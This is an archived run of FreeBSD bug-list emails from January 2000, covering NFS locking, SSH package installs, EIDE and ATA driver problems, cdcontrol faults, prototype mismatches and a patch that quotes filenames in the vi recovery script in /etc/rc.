Mohan Ramanujan >Release: 3.2 >Organization: NBER >Environment: nber6.nber.org%/> uname -a FreeBSD nber6.nber.org 3.2-RELEASE FreeBSD 3.2-RELEASE #0: Tue May 18 04:05:08 GMT 1999 jkh@cath air:/usr/src/sys/compile/GENERIC i386 nber6.nber.org%/> >Description: The free BSD system is an nfs server. The rpc.lockd process is reported to be broken as given in /etc/defaults/rc.conf file. Is there a patch to fix this problem ? We are experiencing performance problems on nfs clients. We feel that we have eliminated other possible reasons for the problem except the broken rpc.lockd process. Thank you. regards, Mohan >How-To-Repeat: >Fix: not known. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Jan 4 23: 8:55 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from we-24-130-76-100.we.mediaone.net (we-24-130-76-100.we.mediaone.net [24.130.76.100]) by hub.freebsd.org (Postfix) with ESMTP id 11CF51532C for ; Tue, 4 Jan 2000 23:08:51 -0800 (PST) (envelope-from obrien@we-24-130-76-100.we.mediaone.net) Received: from we-24-130-76-100.we.mediaone.net (localhost [127.0.0.1]) by we-24-130-76-100.we.mediaone.net (8.9.3/8.9.3) with ESMTP id XAA08215 for ; Tue, 4 Jan 2000 23:09:58 -0800 (PST) (envelope-from obrien@we-24-130-76-100.we.mediaone.net) Message-Id: <200001050709.XAA08215@we-24-130-76-100.we.mediaone.net> X-Mailer: exmh version 2.0.2 2/24/98 To: freebsd-bugs@freebsd.org Subject: FreeBSD 3.3-RELEASE package install of SSH fails Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 04 Jan 2000 23:09:58 -0800 From: "Mike O'Brien" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I just tried to do the package install of SSH under FreeBSD and it failed. The package file is not on the CD-ROM. It sucks over the package from Finland, then looks for the "chown" patch on freebsd.org. It fails to find it, and the install craps out. I sucked the package and the patch over from Finland and did a build and an install without apparent problems, by hand, so it's still possible to get ssh running without too many problems, but this may represent a problem in the packages collection. Mike O'Brien To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 0:10: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 18E3C15358 for ; Wed, 5 Jan 2000 00:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id AAA02597; Wed, 5 Jan 2000 00:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from rins.st.ryukoku.ac.jp (rins.st.ryukoku.ac.jp [133.83.4.1]) by hub.freebsd.org (Postfix) with ESMTP id 11D9814E0E for ; Wed, 5 Jan 2000 00:07:56 -0800 (PST) (envelope-from kjm@ideon.st.ryukoku.ac.jp) Received: from ideon.st.ryukoku.ac.jp (ideon.st.ryukoku.ac.jp [133.83.36.5]) by rins.st.ryukoku.ac.jp (8.9.3+3.2W/3.7W/RINS-1.9.6-NOSPAM) with ESMTP id RAA21805 for ; Wed, 5 Jan 2000 17:07:50 +0900 (JST) Received: (from kjm@localhost) by ideon.st.ryukoku.ac.jp (8.9.3/3.7W/kjm-19990628) id RAA60396; Wed, 5 Jan 2000 17:07:50 +0900 (JST) Message-Id: <200001050807.RAA60396@ideon.st.ryukoku.ac.jp> Date: Wed, 5 Jan 2000 17:07:50 +0900 (JST) From: kjm@rins.ryukoku.ac.jp To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: conf/15901: vi tmpfile recovery script bug (from BUGTRAQ) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15901 >Category: conf >Synopsis: vi tmpfile recovery script (/etc/rc) cannot handle space-containded-filename. >Confidential: yes >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Jan 5 00:10:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: KOJIMA Hajime >Release: FreeBSD 3.3-RELEASE i386 >Organization: Ryukoku University >Environment: N/A >Description: Vi tmpfile recovery script (a part of /etc/rc) cannot handle space-containded-filename correctly. >How-To-Repeat: See BUGTRAQ posting for more detail. >Fix: for FreeBSD-current: --- branches/-current/src/etc/rc Mon Dec 27 20:11:10 1999 +++ rc Wed Jan 5 16:45:27 2000 @@ -442,7 +442,7 @@ # Unmodified nvi editor backup files either have the # execute bit set or are zero length. Delete them. if [ -x "${i}" -o ! -s "${i}" ]; then - rm -f ${i} + rm -f "${i}" fi done @@ -461,9 +461,9 @@ # Else send mail to the user. recfile=`awk '/^X-vi-recover-path:/{print $2}' < ${i}` if [ -n "${recfile}" -a -s "${recfile}" ]; then - sendmail -t < ${i} + sendmail -t < "${i}" else - rm -f ${i} + rm -f "${i}" fi done fi ---- KOJIMA Hajime - Ryukoku University, Seta, Ootsu, Shiga, 520-2194 Japan [Office] kjm@rins.ryukoku.ac.jp, http://www.st.ryukoku.ac.jp/~kjm/ >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 1:30: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 6EBD115366 for ; Wed, 5 Jan 2000 01:30:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id BAA09492; Wed, 5 Jan 2000 01:30:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Wed, 5 Jan 2000 01:30:03 -0800 (PST) Message-Id: <200001050930.BAA09492@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: "Wes Bauske" Subject: Re: kern/15611: EIDE Large Disk Support, Newfs problem, File system corruption,IBM-DPTA-353750 Reply-To: "Wes Bauske" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/15611; it has been noted by GNATS. From: "Wes Bauske" To: mjacob@FreeBSD.org Cc: FreeBSD-gnats-submit@FreeBSD.org, rjbubon@bigi.com Subject: Re: kern/15611: EIDE Large Disk Support, Newfs problem, File system corruption,IBM-DPTA-353750 Date: Wed, 05 Jan 2000 03:13:32 -0600 Matthew Jacob wrote: > > For what it's worth, I just attached a 37GB drive like Wes' to my > -current Tyan mother board > system: > > ata1-master: success setting up UDMA2 mode on PIIX4 chip > ad1: piomode=4 dmamode=2 udmamode=4 cblid=1 > ad1: ATA-4 disk at ata1 as master > ad1: 35772MB (73261440 sectors), 72680 cyls, 16 heads, 63 S/T, 512 B/S > ad1: 16 secs/int, 32 depth queue, UDMA33 > Creating DISK ad1 > I'm back looking at this problem. One thing I just noticed, your disk is called ad1 where mine were called wd0/1/2. I suspect you're using a different driver than I did. I had to give up the Athlon for real work so I'm now using an Intel PIII 600 w/SuperMicro PIIISCD motherboard. This board uses the Intel 820 chip set but implements SDRAM instead of using RDRAM. I downloaded 3.4 from the net and burned a CD to try it out. For some reason, 3.4 can't find any of my disks?? (Traced this to the 2nd 40GB drive just now. It's unplugged for more tests) So, do I need a different kernel to pick up this new ata1 driver?? Is this available in the 3.4 kernel config? Any info appreciated. Wes To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 1:39: 8 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 6B09314E49 for ; Wed, 5 Jan 2000 01:39:06 -0800 (PST) (envelope-from mjacob@feral.com) Received: from beppo.feral.com (beppo [192.67.166.79]) by feral.com (8.9.3/8.9.3) with ESMTP id BAA12439; Wed, 5 Jan 2000 01:36:52 -0800 Date: Wed, 5 Jan 2000 01:39:01 -0800 (PST) From: Matthew Jacob Reply-To: mjacob@feral.com To: Wes Bauske Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15611: EIDE Large Disk Support, Newfs problem, File system corruption,IBM-DPTA-353750 In-Reply-To: <200001050930.BAA09492@freefall.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > So, do I need a different kernel to pick up this new ata1 > driver?? Is this available in the 3.4 kernel config? This is a 4.0 thing, I believe. It's a driver that's in better shape than wd. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 4:50: 6 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id B5E2515366 for ; Wed, 5 Jan 2000 04:50:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id EAA27730; Wed, 5 Jan 2000 04:50:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Wed, 5 Jan 2000 04:50:03 -0800 (PST) Message-Id: <200001051250.EAA27730@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Tony Finch Subject: Re: kern/12104: Certain cdcontrol commands don%27t work properly with my ATAPI CD-ROM drive Reply-To: Tony Finch Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/12104; it has been noted by GNATS. From: Tony Finch To: FreeBSD-gnats-submit@freebsd.org, tempest@ecst.csuchico.edu Cc: Subject: Re: kern/12104: Certain cdcontrol commands don%27t work properly with my ATAPI CD-ROM drive Date: Wed, 05 Jan 2000 12:40:49 +0000 I have the same problem, but with a couple of additional issues: if I use `cdcontrol status` or `cdcontrol info` while the cd is playing then playing stops. Also, when I use `cdcontrol close` the kernel logs "read_toc failed" twice (it also does this if I use `cdcontrol play` when the drive is open). Copyright (c) 1992-1999 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 3.3-STABLE-19991115 #0: Mon Nov 15 14:39:47 GMT 1999 root@fanf.eng.demon.net:/usr/src/sys/compile/DELL-PREC410-SMP Timecounter "i8254" frequency 1193182 Hz CPU: Pentium III (686-class CPU) Origin = "GenuineIntel" Id = 0x673 Stepping = 3 Features=0x383fbff> real memory = 268435456 (262144K bytes) avail memory = 258355200 (252300K bytes) Programming 24 pins in IOAPIC #0 FreeBSD/SMP: Multiprocessor motherboard cpu0 (BSP): apic id: 0, version: 0x00040011, at 0xfee00000 cpu1 (AP): apic id: 1, version: 0x00040011, at 0xfee00000 io0 (APIC): apic id: 2, version: 0x00170011, at 0xfec00000 Preloaded elf kernel "kernel" at 0xc02b8000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc02b809c. Pentium Pro MTRR support enabled Probing for devices on PCI bus 0: chip0: rev 0x03 on pci0.0.0 chip1: rev 0x03 on pci0.1.0 chip2: rev 0x02 on pci0.7.0 ide_pci0: rev 0x01 on pci0.7.1 chip3: rev 0x02 on pci0.7.3 xl0: <3Com 3c905B-TX Fast Etherlink XL> rev 0x00 int a irq 19 on pci0.17.0 xl0: Ethernet address: 00:c0:4f:60:49:dd xl0: autoneg complete, link status good (half-duplex, 100Mbps) chip4: rev 0x03 on pci0.19.0 Probing for devices on PCI bus 1: vga0: rev 0x11 int a irq 16 on pci1.0.0 Probing for devices on PCI bus 2: ahc0: rev 0x00 int a irq 18 on pci2.10.0 ahc0: aic7890/91 Wide Channel A, SCSI Id=7, 16/255 SCBs ahc1: rev 0x01 int a irq 18 on pci2.14.0 ahc1: aic7880 Wide Channel A, SCSI Id=7, 16/255 SCBs Probing for PnP devices: CSN 1 Vendor ID: CSC6835 [0x3568630e] Serial 0xffffffff Comp ID: @@@0000 [0x00000000] mss_attach 1 at 0x530 irq 5 dma 1:0 flags 0x10 pcm1 (CS423x/Yamaha/AD1816 sn 0xffffffff) at 0x530-0x537 irq 5 drq 1 flags 0x10 on isa Probing for devices on the ISA bus: sc0 on isa sc0: VGA color <16 virtual consoles, flags=0x0> atkbdc0 at 0x60-0x6f on motherboard atkbd0 irq 1 on isa psm0 irq 12 on isa psm0: model Generic PS/2 mouse, device ID 0 sio0 at 0x3f8-0x3ff irq 4 flags 0x10 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: FIFO enabled, 8 bytes threshold fd0: 1.44MB 3.5in wdc0 not found at 0x1f0 wdc1 at 0x170-0x177 irq 15 on isa wdc1: unit 0 (atapi): , removable, intr, dma, iordis acd0: drive speed 6875KB/sec, 128KB cache acd0: supported read types: CD-R, CD-RW, CD-DA, packet track acd0: Audio: play, 255 volume levels acd0: Mechanism: ejectable tray acd0: Medium: CD-ROM 120mm audio disc loaded, unlocked ppc0 at 0x378 irq 7 flags 0x40 on isa ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode ppc0: FIFO with 16/16/8 bytes threshold lpt0: on ppbus 0 lpt0: Interrupt-driven port ppi0: on ppbus 0 npx0 on motherboard npx0: INT 16 interface vga0 at 0x3b0-0x3df maddr 0xa0000 msize 131072 on isa APIC_IO: Testing 8254 interrupt delivery APIC_IO: routing 8254 via pin 2 SMP: AP CPU #1 Launched! changing root device to da0s1a da0 at ahc0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-2 device da0: 80.000MB/s transfers (40.000MHz, offset 15, 16bit), Tagged Queueing Enabled da0: 8683MB (17783240 512 byte sectors: 255H 63S/T 1106C) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 6:10: 8 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id D6A731539A for ; Wed, 5 Jan 2000 06:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id GAA34725; Wed, 5 Jan 2000 06:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from news-ma.rhein-neckar.de (news-ma.rhein-neckar.de [193.197.90.3]) by hub.freebsd.org (Postfix) with ESMTP id ED6B2151D0 for ; Wed, 5 Jan 2000 06:02:31 -0800 (PST) (envelope-from naddy@bigeye.rhein-neckar.de) Received: from bigeye.rhein-neckar.de (uucp@localhost) by news-ma.rhein-neckar.de (8.8.8/8.8.8) with bsmtp id PAA28145 for FreeBSD-gnats-submit@freebsd.org; Wed, 5 Jan 2000 15:02:29 +0100 (CET) (envelope-from naddy@bigeye.rhein-neckar.de) Received: (from naddy@localhost) by bigeye.rhein-neckar.de (8.9.3/8.9.3) id PAA48674; Wed, 5 Jan 2000 15:01:35 +0100 (CET) (envelope-from naddy) Message-Id: <200001051401.PAA48674@bigeye.rhein-neckar.de> Date: Wed, 5 Jan 2000 15:01:35 +0100 (CET) From: Christian Weisgerber Reply-To: naddy@mips.rhein-neckar.de To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/15906: rcmd(3) prototype disagrees with definition Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15906 >Category: bin >Synopsis: rcmd(3) prototype disagrees with definition >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Jan 5 06:10:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Christian Weisgerber >Release: FreeBSD 4.0-CURRENT i386 >Organization: >Environment: >Description: What's the type of rcmd(3)'s second parameter, int or u_short? Man page: int rcmd(char **ahost, int inport, const char *locuser, const char *remuser, const char *cmd, int *fd2p) Prototype in /usr/include/unistd.h: int rcmd __P((char **, int, const char *, const char *, const char *, int *)); Actual definition in src/lib/libc/net/rcmd.c: int rcmd(ahost, rport, locuser, remuser, cmd, fd2p) char **ahost; u_short rport; const char *locuser, *remuser, *cmd; int *fd2p; Which instances should be fixed? >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 6:30: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id DBF19153DC for ; Wed, 5 Jan 2000 06:30:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id GAA36193; Wed, 5 Jan 2000 06:30:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from kronos.alcnet.com (kronos.alcnet.com [63.69.28.22]) by hub.freebsd.org (Postfix) with ESMTP id 11F3C14DEA for ; Wed, 5 Jan 2000 06:26:57 -0800 (PST) (envelope-from kbyanc@kronos.alcnet.com) Received: (from kbyanc@localhost) by kronos.alcnet.com (8.9.3/8.9.3/antispam) id JAA58178; Wed, 5 Jan 2000 09:26:53 -0500 (EST) Message-Id: <200001051426.JAA58178@kronos.alcnet.com> Date: Wed, 5 Jan 2000 09:26:53 -0500 (EST) From: kbyanc@posi.net Reply-To: kbyanc@posi.net To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: misc/15908: patch to fix argument mismatch in getnano{up,}time functions Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15908 >Category: misc >Synopsis: patch to fix argument mismatch in getnano{up,}time functions >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Wed Jan 5 06:30:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Kelly Yancey >Release: FreeBSD 3.2-STABLE i386 >Organization: >Environment: >Description: Attached is a minor patch to /sys/sys/time.h which fixes a mismatch between the declaration and definition of the getnano{up,}time functions. The mismatch definately doesn't hurt anything. Nonetheless, here is a quickie patch to sync the two... -Kelly >How-To-Repeat: >Fix: --- /sys/sys/time.h.orig Mon Jan 3 16:40:33 2000 +++ /sys/sys/time.h Mon Jan 3 16:40:57 2000 @@ -267,8 +267,8 @@ void getmicrouptime __P((struct timeval *tv)); void getmicrotime __P((struct timeval *tv)); -void getnanouptime __P((struct timespec *tv)); -void getnanotime __P((struct timespec *tv)); +void getnanouptime __P((struct timespec *tsp)); +void getnanotime __P((struct timespec *tsp)); void init_timecounter __P((struct timecounter *tc)); int itimerdecr __P((struct itimerval *itp, int usec)); int itimerfix __P((struct timeval *tv)); >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 9:40: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 85EB01508B for ; Wed, 5 Jan 2000 09:40:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id JAA13901; Wed, 5 Jan 2000 09:40:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Wed, 5 Jan 2000 09:40:02 -0800 (PST) Message-Id: <200001051740.JAA13901@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Garrett Wollman Subject: bin/15906: rcmd(3) prototype disagrees with definition Reply-To: Garrett Wollman Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15906; it has been noted by GNATS. From: Garrett Wollman To: naddy@mips.rhein-neckar.de Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: bin/15906: rcmd(3) prototype disagrees with definition Date: Wed, 5 Jan 2000 12:30:19 -0500 (EST) < said: >> Synopsis: rcmd(3) prototype disagrees with definition No, it does not. > int rcmd __P((char **, int, const char *, > const char *, const char *, int *)); This is the correct prototype for a declaration of the form: > int > rcmd(ahost, rport, locuser, remuser, cmd, fd2p) > char **ahost; > u_short rport; > const char *locuser, *remuser, *cmd; > int *fd2p; > Which instances should be fixed? Neither. Please read a text on Standard C, such as K&R or H&S. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 12:30: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 94DE41546D for ; Wed, 5 Jan 2000 12:30:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id MAA31419; Wed, 5 Jan 2000 12:30:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id A6E4E153D8; Wed, 5 Jan 2000 12:23:20 -0800 (PST) Message-Id: <20000105202320.A6E4E153D8@hub.freebsd.org> Date: Wed, 5 Jan 2000 12:23:20 -0800 (PST) From: timlee@netcom.com To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: kern/15923: ATA/EIDE DMA does not work with some hardware (ALI Aladdin, IBM 34GXP) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15923 >Category: kern >Synopsis: ATA/EIDE DMA does not work with some hardware (ALI Aladdin, IBM 34GXP) >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Jan 5 12:30:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Timothy J. Lee >Release: 3.4-STABLE-20000103 >Organization: >Environment: Asus P5A motherboard (ALI Aladdin chipset), IBM 34GXP 13.6GB (DPTA-371360), AMD K6-2 450 processor, 64MB memory. >Description: The above combination gives DMA errors when used with a kernel whose ATA DMA is turned on (controller wdc0 ... flags 0xa0ffa0ff). With ATA DMA turned off (controller wdc0 ... flags 0x80ff80ff), no problems. Errors do not cause crashes or damage, but slow down the system and cause numerous messages to be printed on the console. NetBSD 1.4.1 has a similar problem. Linux kernel 2.2.13 with the "experimental" Acer ATA DMA driver does not have this problem. >How-To-Repeat: Use a kernel with ATA DMA turned on with the listed combination of hardware (probably motherboard/chipset and disk are the key pieces). >Fix: GENERIC kernels should keep ATA DMA off as they are now. Turning the feature on in the GENERIC kernel (as NetBSD 1.4.1 does) can make installing and initial configuration difficult on some combinations of hardware. A true fix may require looking into some Acer chipset specific issues as Linux 2.2 does. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 12:40:30 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id C1B7B155A5 for ; Wed, 5 Jan 2000 12:40:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id MAA32766; Wed, 5 Jan 2000 12:40:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Wed, 5 Jan 2000 12:40:02 -0800 (PST) Message-Id: <200001052040.MAA32766@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Soren Schmidt Subject: Re: kern/15923: ATA/EIDE DMA does not work with some hardware (ALI Aladdin, IBM 34GXP) Reply-To: Soren Schmidt Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/15923; it has been noted by GNATS. From: Soren Schmidt To: timlee@netcom.com Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: kern/15923: ATA/EIDE DMA does not work with some hardware (ALI Aladdin, IBM 34GXP) Date: Wed, 5 Jan 2000 21:39:04 +0100 (CET) It seems timlee@netcom.com wrote: > The above combination gives DMA errors when used with a kernel > whose ATA DMA is turned on (controller wdc0 ... flags 0xa0ffa0ff). > With ATA DMA turned off (controller wdc0 ... flags 0x80ff80ff), no > problems. Errors do not cause crashes or damage, but slow down the > system and cause numerous messages to be printed on the console. > NetBSD 1.4.1 has a similar problem. Linux kernel 2.2.13 with the > "experimental" Acer ATA DMA driver does not have this problem. > >How-To-Repeat: > Use a kernel with ATA DMA turned on with the listed combination of > hardware (probably motherboard/chipset and disk are the key pieces). > >Fix: > GENERIC kernels should keep ATA DMA off as they are now. Turning > the feature on in the GENERIC kernel (as NetBSD 1.4.1 does) can make > installing and initial configuration difficult on some combinations > of hardware. A true fix may require looking into some Acer chipset > specific issues as Linux 2.2 does. Have you tried the new ATA driver in 4.0 current ?? -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 12:40:32 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id E8BCE1559D for ; Wed, 5 Jan 2000 12:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id MAA32761; Wed, 5 Jan 2000 12:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from uran.kharkiv.net (uran.kharkiv.net [194.44.156.30]) by hub.freebsd.org (Postfix) with ESMTP id 07D2E1540D for ; Wed, 5 Jan 2000 12:30:00 -0800 (PST) (envelope-from vvc@kharkiv.net) Received: from hut.kharkiv.net (hut.kharkiv.net [194.44.156.99]) by uran.kharkiv.net (8.9.3/8.9.3/uran) with ESMTP id WAA46056 for ; Wed, 5 Jan 2000 22:29:51 +0200 (EET) (envelope-from vvc@kharkiv.net) Received: (from vvc@localhost) by hut.kharkiv.net id WAA00583; Wed, 5 Jan 2000 22:29:19 +0200 (EET) Message-Id: <200001052029.WAA00583@hut.kharkiv.net> Date: Wed, 5 Jan 2000 22:29:19 +0200 (EET) From: "Vadym V. Chepkov" Reply-To: vvc@kharkiv.net To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/15924: ndc fault Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15924 >Category: bin >Synopsis: ndc restart don't preserve start options >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Jan 5 12:40:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Vadym V. Chepkov >Release: FreeBSD 3.4-STABLE i386 >Organization: Kharkiv State Polytechnic University >Environment: >Description: Command 'ndc restart' don't preserve start options >How-To-Repeat: in /etc/rc.conf named_flags='-u bind -g bind', after start named works as user bind, but after command ndc restart starts to work as user root >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Jan 5 13: 6: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from paralleldata.com (smtp.paralleldata.com [38.153.145.2]) by hub.freebsd.org (Postfix) with ESMTP id 5572D15501 for ; Wed, 5 Jan 2000 13:05:56 -0800 (PST) (envelope-from wsb@paralleldata.com) Received: by paralleldata.com from localhost (router,SLMail V2.5); Wed, 05 Jan 2000 15:11:19 -0600 Received: by paralleldata.com from paralleldata.com (63.73.247.73::mail daemon; unverified,SLMail V2.5); Wed, 05 Jan 2000 15:11:16 -0600 Message-ID: <3873B07A.A97075E2@paralleldata.com> Date: Wed, 05 Jan 2000 14:58:34 -0600 From: "Wes Bauske" Organization: Parallel Data Systems Inc. X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686) X-Accept-Language: en MIME-Version: 1.0 To: mjacob@feral.com Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15611: EIDE Large Disk Support, Newfs problem, File systemcorruption,IBM-DPTA-353750 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matthew Jacob wrote: > > > So, do I need a different kernel to pick up this new ata1 > > driver?? Is this available in the 3.4 kernel config? > > This is a 4.0 thing, I believe. It's a driver that's in better shape > than wd. I've looked at the 4.0-CURRENT directory on ftp.cdrom.com/pub/FreeBSD and it's not clear to me where to get the newest kernel from. Exactly how much do I have to upgrade to get the same kernel you're using? If its an FAQ, point me at it... Thanks, Wes To Unsubscribe: send mail to 